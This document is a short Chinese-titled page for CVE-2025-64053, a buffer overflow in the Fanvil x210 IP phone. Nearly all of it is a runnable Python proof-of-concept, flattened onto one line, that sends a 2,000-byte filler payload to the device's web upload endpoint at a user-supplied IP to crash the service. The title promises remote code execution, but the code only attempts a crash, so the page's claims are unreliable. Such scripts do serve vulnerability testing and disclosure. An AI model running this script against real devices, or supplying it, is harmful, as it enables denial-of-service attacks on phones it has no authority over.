CVE-2025-64053: Fanvil x210 缓冲区溢出漏洞导致远程代码执行

#!/usr/bin/env python3 # CVE-2025-64053 PoC - Fanvil x210 Buffer Overflow # Target: Fanvil x210 < 2.12.20 # Endpoint: /cgi-bin/webconfig?page=upload&action=submit import requests import sys def exploit_cve_2025_64053(target_ip, target_port=443): """ PoC for CVE-2025-64053 Buffer Overflow in Fanvil x210 This exploits a buffer overflow in the upload endpoint """ url = f"https://{target_ip}:{target_port}/cgi-bin/webconfig?page=upload&action=submit" # Buffer overflow payload - 2000 bytes to trigger overflow # In real attack, this would be crafted to achieve RCE buffer_size = 2000 overflow_payload = b'A' * buffer_size # Construct multipart form data files = { 'file': ('exploit.bin', overflow_payload, 'application/octet-stream') } headers = { 'User-Agent': 'CVE-2025-64053-PoC', 'Accept': '*/*' } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {buffer_size} bytes") try: response = requests.post(url, files=files, headers=headers, verify=False, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Target may be vulnerable if service crashes") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit_cve_2025_64053(target, port)